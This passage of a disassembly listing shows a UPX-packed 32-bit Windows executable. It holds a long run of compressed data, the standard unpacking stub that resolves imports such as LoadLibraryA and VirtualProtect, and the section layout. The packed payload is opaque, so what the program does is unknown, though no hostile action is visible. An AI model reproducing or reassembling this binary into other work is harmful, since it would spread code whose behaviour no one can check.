		dd 88458D40h, 44842DDCh, 0F4658D35h, 8AC7E313h,	0E4C54631h
		dd 9AB58B97h, 0F84C8h, 0EB0E18E5h, 0BB4C351Bh, 0FFC88303h
		dd 9039B886h, 8C62E132h, 0F5203411h, 9ABF19D6h,	14534357h
		dd 28D7E46Ch, 0F42121E5h, 4AC21957h, 0E40C2646h, 172033D9h
		dd 16D91072h, 0FC6A5092h, 7A813811h, 67A2AB33h,	0DA161637h
		dd 0D8FE5052h, 0D8B02528h, 21231059h, 88AB290Bh, 0AC630C1Dh
		dd 89E073C1h, 0E0BB9754h, 0ECDEE12Eh, 570067h, 551DC00h
		dd 5F23229Fh, 2ADC02A1h, 6939B845h, 0A56813Bh, 0E9182A14h
		dd 60C8E084h, 8BD0EB01h, 34B9FB3Dh, 564340F0h, 6AD7FE48h
		dd 720C1F0Dh, 19C01916h, 0C8320958h, 68B48C80h,	361360Ch
		dd 4D78A432h, 32031994h, 84880321h, 0C8C80C98h,	0A8780A20h
		dd 9F8978CEh, 19FB8166h, 616848Dh, 0DC09018h, 95027BAh
		dd 8B5A210Ch, 0F63A5B1Dh, 0E07DFC8Fh, 6A0A7500h, 0EB544022h
		dd 0D864231Bh, 301901C9h, 1903FC48h, 0C81C886Bh, 5040FD2Ch
		dd 0C16E4E0Ch, 362FD30Eh, 0D017FEB8h, 14464059h, 0BB30D319h
		dd 34D7AF65h, 0D107212Bh, 41B0D9D8h, 2531109Fh,	26C8CD56h
		dd 0D87DE85Ch, 605A757Fh, 19006473h, 1080619h, 0B074BB9h
		dd 6811E9B8h, 73E4081Dh, 200A5991h, 6E0832FCh, 365ECA58h
		dd 648B9118h, 0D886B5Bh, 9021B5E7h, 6E6301ECh, 601C9172h
		dd 910B986Bh, 0E032005Ch, 32005C68h, 78D00E72h,	20071815h
		dd 8C09C043h, 6EB2B903h, 6D1EA80Ch, 0B400E408h,	95376B03h
		dd 9324725Eh, 8FFF127Fh, 8C0F0289h, 0B8769221h,	14894F6Ch
		dd 203B6E54h, 0D2F5060Fh, 1F6AAD3Dh, 2BFA3296h,	0E2689419h
		dd 0EB270118h, 0C1C06817h, 6B4D1F27h, 32F25945h, 0EC9206C9h
		dd 0C23D0A0Ah, 21AEC096h, 904ABF1Bh, 2C876B57h,	0D07F0B70h
		dd 8AF84450h, 6E1BFFEBh, 0A51D040Ah, 0F97D80h, 75ED4588h
		dd 0EF45C606h, 6B665930h, 0F9165BDBh, 0EF0F1304h, 36F25ED8h
		dd 0E19265E4h, 0B73D1313h, 3497C859h, 0FCFCD217h, 8F2D1704h
		dd 0ECFDCD3Ch, 1904FDEEh, 86D568EEh, 8EC29B0h, 0B09B18h
		dd 7746B19h, 4B9888F7h,	649F6702h, 6DDF8AF6h, 6613B5DBh
		dd 84840B8Bh, 67E572E4h, 0FECE8C2Eh, 37430E6h, 3CE66588h
		dd 0B7B7E011h, 524859B2h, 0C8DB52D8h, 0E7FCC832h, 0E4CEE4E4h
		dd 25CF2325h, 638004E8h, 1263C091h, 81F1757h, 36AD06EDh
		dd 1910943Dh, 936902Bh,	3A95925Ah, 177FA7C0h, 0DFBFFEC1h
		dd 5781F0F0h, 301319h, 2C6832EBh, 21BFEC81h, 2C1297D9h
		dd 7402F831h, 72F56826h, 92143D99h, 689E09A0h, 571F03E8h
		dd 0FC5B8B34h, 0C574DC50h, 0C25E6F5Fh, 8C9BEAADh, 20106A45h
		dd 88DEDF0Fh, 0E7A258E6h, 0E389C803h, 8B18418Dh, 0DA290705h
		dd 0D3083870h, 36C93DFBh, 89C7D12Ah, 0B0E4ADB8h, 0F16B51B6h
		dd 0A08B638Ch, 0FF595F8Eh, 4D63FDB5h, 0F8B5091Dh, 1BDFF733h
		dd 3CE783FFh, 4C237420h, 0E13D8CF9h, 4BD4CDF9h,	0A25B77Eh
		dd 0AC5356EFh, 6E2BBF79h, 0C33BD0E0h, 3207759Bh, 6862180Fh
		dd 17CD9430h, 5B2DAACh,	25800024h, 82582D09h, 0E824A2DCh
		dd 0C85C80CFh, 121BBD09h, 424E12F0h, 0AE202245h, 5D90BC45h
		dd 9801831h, 4E142272h,	682FEDC6h, 1FC0EAEEh, 9FF08B11h
		dd 170551BCh, 1340849Ah, 0E07DF006h, 2F87755Eh,	0F801C6E4h
		dd 0C2D8F0ACh
		dd 2C0C6358h, 7D8BB4E0h, 67CCCEE8h, 7F1C64AAh, 0EA513EEAh
		dd 3BC9468Dh, 144886C9h, 0F48EAD03h, 396AFCDFh,	58EA6A5Ah
		dd 42908E3Dh, 6D226940h, 0E4178854h, 4491A25Dh,	920B7F8Ah
		dd 0C72BC68Bh, 0C60FFA83h, 30ACB919h, 14E0B39Dh, 7C4BFFCh
		dd 0C7033441h, 0BE8D38A5h, 78810975h, 9078B06h,	2D1BFDBBh
		dd 0ED6703FAh, 302408Bh, 0EB1A0C41h, 0AD8A590Dh, 0EB087FFBh
		dd 39664001h, 40FA7518h, 58EF0540h, 0DB6A370Eh,	0C4922C9h
		dd 0F322F8B4h, 0FFDB397Ch, 8AFCF577h, 30E44008h, 73F0F980h
		dd 0C9B60F07h, 0FEBF903h, 6D1A10AFh, 0E183FF6Bh, 10E1C10Fh
		dd 3E0ECA0Bh, 0D040BA8Bh, 26C77A04h, 56A6D975h,	2030585Eh
		dd 2B79C253h, 56FFE375h, 8759F37h, 0FE8B1068h, 0B3685775h
		dd 12E61874h, 2E653492h, 430CEB53h, 53340608h, 85DF7B59h
		dd 0D50CA0E0h, 7961D4FAh, 2737F8ADh, 686DEB20h,	0AA1DE02Fh
		dd 1592646Ah, 99F081ADh, 9F644002h, 10E57CADh, 0C82310EFh
		dd 1672BD89h, 0FDA0CAC0h, 0E00A6E1Fh, 97575247h, 0CD95672Fh
		dd 90590877h, 26A18EB0h, 812438ACh, 93BCC702h, 8A42ED05h
		dd 1C4C956Ch, 8014D4A9h, 43DD6757h, 9D49C953h, 2307D087h
		dd 0BD48C08Dh, 9AF0986Bh, 0FCB76FB8h, 25C176D6h, 147757E3h
		dd 0F695066Fh, 530C648Fh, 374AE5D2h, 0A25949A1h, 44E29B3h
		dd 0FEB4CE01h, 4BD602F0h, 0EE342271h, 0E0D9A41Eh, 196AB559h
		dd 0D9ACA46h, 16997910h, 12B43D16h, 4347DBBCh, 58B85796h
		dd 92DA3205h, 0E605B5CEh, 0AE396A66h, 65E4403Ch, 863D0F0Fh
		dd 0EDB35339h, 83D20602h, 0B8CC0C32h, 155ECDDh,	0D2A44780h
		dd 0C6EDD9FFh, 101A35BAh, 0C250C05h, 0C314685Ch, 912EC7ECh
		dd 1C8B1632h, 88BF3B68h, 82C3E37Bh, 7DC23493h, 305455Eh
		dd 0A260F8CBh, 6653768Ah, 674C8126h, 3C27021Eh,	42C4F501h
		dd 5A214381h, 7B923958h, 5DB56CC2h, 0D248EB89h,	996813C7h
		dd 2E2EBDA4h, 68242657h, 5754BFA0h, 88EDBE9Ch, 4F631DB3h
		dd 0C9331B8Dh, 6FEEC56Fh, 8D1574D7h, 10C50D94h,	3187A80h
		dd 17DD5589h, 41FCF44Ah, 0BCDBC83Bh, 20B8118Bh,	6A2E0B00h
		dd 0FAED0BF5h, 6C707865h, 0CFED7F37h, 518BEFF2h, 726F1004h
		dd 49BD7265h, 83C80B08h, 0B6D8AFDBh, 1065222Eh,	480C0FACh
		dd 82D9B09h, 0C70130A5h, 1F8101D4h, 0C87D756Eh,	0ABF344CCh
		dd 5EEC6F0Eh, 1609C890h, 3B1EAA04h, 214F59F3h, 6174D023h
		dd 68539C88h, 3F0A1BFFh, 881F0FC7h, 2332742Fh, 346B187Dh
		dd 3D21B390h, 8650FACBh, 0FE861184h, 87071F1Dh,	4C9C2644h
		dd 20B5E368h, 505A26Fh,	0E0D89ADh, 25B593EAh, 74F6CE5h
		dd 0C580DBBEh, 64D193E0h, 6A510CE8h, 0C059E720h, 9DED8850h
		dd 8210E274h, 193F60h, 1B3D12B9h, 0A247F130h, 51F88F7Dh
		dd 6A7B18C3h, 0C9835831h, 1B0185C4h, 78D6A86Bh,	262E0308h
		dd 0DA726CEAh, 0EA6F4B02h, 7A2167DCh, 0C21E85Eh, 46E65949h
		dd 0F4DC9D0Bh, 39CCBD02h, 53F8629Ah, 92F02043h,	572E210Fh
		dd 993DB30Ch, 0C2720211h, 45B2C728h, 0AD0850C8h, 55D13668h
		dd 0DEB39C8h, 8128580Ch, 663B93C5h, 3FFFB97Dh, 0C279B3F6h
		dd 0CC000Ch, 244C8D51h,	1BC82B04h, 23D0F7C0h, 0B28DFEC8h
		dd 66C48BC5h, 0A72D8F0h, 9459C18Bh, 55B45D8Bh, 2D3A522Dh
		dd 0D8458540h, 9AF028Fh, 0FD00005Bh, 4641FFDBh,	0C9C94DCBh
		dd 0CDE8E666h, 0C6450005h, 0C84849C9h, 8FB763F6h, 4B44000Ah
		dd 0C54D01C8h, 4F46C70Ch, 0BE164BC7h, 7EE60Bh, 0CC4CD4Fh
		dd 4DC40030h, 0F74B46C6h, 34C1BBF6h, 0C4460FC0h, 4648CB4Eh
		dd 4DC34D37h, 0F7FEDD1Bh, 136367EEh, 61CD4BECh,	484EEC2Bh
		dd 0AE64DCDh, 0BAEE456Dh, 4A0BBFFFh, 0C5C94E43h, 0C2C548CEh
		dd 0C7CBC7E8h, 3615560h, 0DE6463E4h, 23C65FFDh,	44CA4967h
		dd 4D4D44C6h, 63434848h, 49C6CA44h, 0D6BDDFFBh,	472B9E01h
		dd 0C7C94A4Ah, 0CA4846C3h, 6D104A4Fh, 0C33F6D8Fh, 0D4CC74Ah
		dd 0CC460CC3h, 0FB4D8F4Ah, 1CB60FECh, 49C52B43h, 4949C7CCh
		dd 0CC4FCD0Ch, 0DBFEC852h, 4E074B6Dh, 0CDC703E2h, 4E474945h
		dd 0FF7E49C2h, 1B5DFFF6h, 0C5CB00D1h, 68E2C7C5h, 46CC4368h
		dd 0C7CD20C8h, 0CEE84FC5h, 7C5BFB4Bh, 0C6DCC289h, 77464C48h
		dd 0CBC948C4h, 432368C6h, 0C32FEDF6h, 0CECB4743h, 0CBE84C49h
		dd 6F00224Ah, 0D1D6E1DDh, 0C4434BCAh, 1F490B0Ah, 24C4C346h
		dd 0D16B36FFh, 4A4F0F0Eh, 4DCECCC8h, 5B377BCDh,	0CDC6C6F8h
		dd 0E4612C3h, 0C5C64E0Fh, 86161BCAh, 0CCC70FFDh, 0C3C8CC4Eh
		dd 0B30F4F4Bh, 0B2DD04Ah, 0CD4B1CC1h, 6B4AB35Eh, 6BA1612Fh
		dd 4597C9AEh, 1D0D1046h, 560FFFFBh, 0CE4DDD4Dh,	0C6D74C45h
		dd 0C94BC44Bh, 0C85F4C4Dh, 79617C5h, 0D8D31AC1h, 35D459C5h
		dd 0E0815844h, 2ACCB70Ch, 63CEC54Eh, 0BED7ACC8h, 0C70600B9h
		dd 53C648C9h, 0C600EF0Fh, 80322A0h, 80006402h, 0A6C88h
		dd 0E5FF9009h, 12058B9h, 7274736Ch, 41797063h, 7D9F21F6h
		dd 4169706Dh, 6E656C14h, 31417461h, 0CD3FFB9Fh,	73771465h
		dd 6E697270h, 1136674h,	20FFFDF0h, 13011FFFh, 620062Bh
		dd 110F0D09h, 2111231Eh, 637375Dh, 0FFFB0F07h, 818BFE5h
		dd 100F0C06h, 0C300931h, 10454864h, 600C1816h, 0A4C2510h
		dd 7FFB5B0Eh, 41D15B7h,	28133D0Ch, 13651608h, 16063C20h
		dd 7E43010Dh, 377F777h,	0C411054h, 1D4F927Dh, 559102Dh
		dd 2206753Fh, 0FFFE181Ah, 4108EFFDh, 9132905h, 150B080Ch
		dd 0E33001Ah, 32371A0Ah, 3D2F5A42h, 0F7763A32h,	3501FFFFh
		dd 10344B3Ah, 15064B08h, 2C381545h, 301B1909h, 9B392E1Dh
		dd 0FDDFFFF6h, 1A1E1670h, 60B0C4Eh, 0C340813h, 0C370933h
		dd 0C443F11h, 120D430Eh, 0DCF6EDFFh, 16990350h,	627F381Eh
		dd 5061B0Ch, 0D90A1612h, 66DBFFF6h, 0C166180h, 2A0C0E24h
		dd 0E1E0E18h, 20104B40h, 0FE431010h, 91EFC4Bh, 0EA455000h
		dd 4014Ch, 4644A586h, 0FED9ACF7h, 10200E0h, 0C08010Bh
		dd 0EF130C1Eh, 9CB60429h, 3105D7Dh, 0B400D30h, 6C330402h
		dd 70B3749h, 161E600Ch,	10ECD92Fh, 8406072Bh, 5E5920E5h
		dd 503C3254h, 0C900BAC8h, 1CA701ECh, 9B60BE1Eh,	65742E1Fh
		dd 1D5B7478h, 6E04EB90h, 23C2EEE3h, 722ECD20h, 0CB612E64h
		dd 0B05F6177h, 2223FB03h, 0B024027h, 2E5EECECh,	21C1026h
		dd 0F2CF6073h, 2EC02777h, 6F6C6572h, 4F502A63h,	0C94DFB67h
		dd 0AC1B4226h, 4A2332h,	39F00000h, 51h,	0FF000048h, 3 dup(0)

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_AC		= byte ptr -0ACh

		pusha
		mov	esi, offset dword_406000
		lea	edi, [esi-5000h]
		push	edi
		or	ebp, 0FFFFFFFFh
		jmp	short loc_407202
; ---------------------------------------------------------------------------
		align 8

loc_4071F8:				; CODE XREF: start:loc_407209j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi

loc_4071FE:				; CODE XREF: start+B6j	start+CDj
		add	ebx, ebx
		jnz	short loc_407209

loc_407202:				; CODE XREF: start+10j
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx

loc_407209:				; CODE XREF: start+20j
		jb	short loc_4071F8
		mov	eax, 1

loc_407210:				; CODE XREF: start+3Fj	start+4Aj
		add	ebx, ebx
		jnz	short loc_40721B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx

loc_40721B:				; CODE XREF: start+32j
		adc	eax, eax
		add	ebx, ebx
		jnb	short loc_407210
		jnz	short loc_40722C
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_407210

loc_40722C:				; CODE XREF: start+41j
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_407240
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_4072B2
		mov	ebp, eax

loc_407240:				; CODE XREF: start+51j
		add	ebx, ebx
		jnz	short loc_40724B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx

loc_40724B:				; CODE XREF: start+62j
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_407258
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx

loc_407258:				; CODE XREF: start+6Fj
		adc	ecx, ecx
		jnz	short loc_40727C
		inc	ecx

loc_40725D:				; CODE XREF: start+8Cj	start+97j
		add	ebx, ebx
		jnz	short loc_407268
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx

loc_407268:				; CODE XREF: start+7Fj
		adc	ecx, ecx
		add	ebx, ebx
		jnb	short loc_40725D
		jnz	short loc_407279
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_40725D

loc_407279:				; CODE XREF: start+8Ej
		add	ecx, 2

loc_40727C:				; CODE XREF: start+7Aj
		cmp	ebp, 0FFFFF300h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jbe	short loc_40729C

loc_40728D:				; CODE XREF: start+B4j
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_40728D
		jmp	loc_4071FE
; ---------------------------------------------------------------------------
		align 4

loc_40729C:				; CODE XREF: start+ABj	start+C9j
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_40729C
		add	edi, ecx
		jmp	loc_4071FE
; ---------------------------------------------------------------------------

loc_4072B2:				; CODE XREF: start+5Cj
		pop	esi
		mov	edi, esi
		mov	ecx, 0A1h

loc_4072BA:				; CODE XREF: start+E1j	start+E6j
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h

loc_4072BF:				; CODE XREF: start+104j
		cmp	al, 1
		ja	short loc_4072BA
		cmp	byte ptr [edi],	1
		jnz	short loc_4072BA
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	al, bl
		loop	loc_4072BF
		lea	edi, [esi+5000h]

loc_4072EC:				; CODE XREF: start+12Ej
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_40732E
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+7000h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+703Ch]
		xchg	eax, ebp

loc_407309:				; CODE XREF: start+146j
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_4072EC
		mov	ecx, edi
		push	edi
		dec	eax
		repne scasb
		push	ebp
		call	dword ptr [esi+7040h]
		or	eax, eax
		jz	short loc_407328
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_407309
; ---------------------------------------------------------------------------

loc_407328:				; CODE XREF: start+13Fj
		call	dword ptr [esi+7048h]

loc_40732E:				; CODE XREF: start+110j
		add	edi, 4
		lea	ebx, [esi-4]

loc_407334:				; CODE XREF: start+170j
		xor	eax, eax
		mov	al, [edi]
		inc	edi
		or	eax, eax
		jz	short loc_40735F
		cmp	al, 0EFh
		ja	short loc_407352

loc_407341:				; CODE XREF: start+17Dj
		add	ebx, eax
		mov	eax, [ebx]
		xchg	al, ah
		rol	eax, 10h
		xchg	al, ah
		add	eax, esi
		mov	[ebx], eax
		jmp	short loc_407334
; ---------------------------------------------------------------------------

loc_407352:				; CODE XREF: start+15Fj
		and	al, 0Fh
		shl	eax, 10h
		mov	ax, [edi]
		add	edi, 2
		jmp	short loc_407341
; ---------------------------------------------------------------------------

loc_40735F:				; CODE XREF: start+15Bj
		mov	ebp, [esi+7044h]
		lea	edi, [esi-1000h]
		mov	ebx, 1000h
		push	eax
		push	esp
		push	4
		push	ebx
		push	edi
		call	ebp
		lea	eax, [edi+1EFh]
		and	byte ptr [eax],	7Fh
		and	byte ptr [eax+28h], 7Fh
		pop	eax
		push	eax
		push	esp
		push	eax
		push	ebx
		push	edi
		call	ebp
		pop	eax
		popa
		lea	eax, [esp+2Ch+var_AC]

loc_407393:				; CODE XREF: start+1B7j
		push	0
		cmp	esp, eax
		jnz	short loc_407393
		sub	esp, 0FFFFFF80h
		jmp	sub_4029EF
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 1000h
UPX1		ends

; Section 3. (virtual address 00008000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00008000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
UPX2		segment	para public 'DATA' use32
		assume cs:UPX2
		;org 408000h
		dd 3 dup(0)
		dd 8058h, 803Ch, 3 dup(0)
		dd 8065h, 8050h, 5 dup(0)
		dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E75CB5h, 0
aJW		db 'jÉÔw',0
		align 4
aKernel32_dll	db 'KERNEL32.DLL',0
aUser32_dll	db 'USER32.dll',0
		dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 50746547h, 41636F72h
		dd 65726464h, 7373h, 74726956h,	506C6175h, 65746F72h, 7463h
		dd 74697845h, 636F7250h, 737365h, 73770000h, 6E697270h
		dd 416674h, 7000h, 0Ch,	31E2h, 3CFh dup(0)
UPX2		ends

; Section 4. (virtual address 00009000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00009000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 409000h
		align 2000h
_idata2		ends


		end start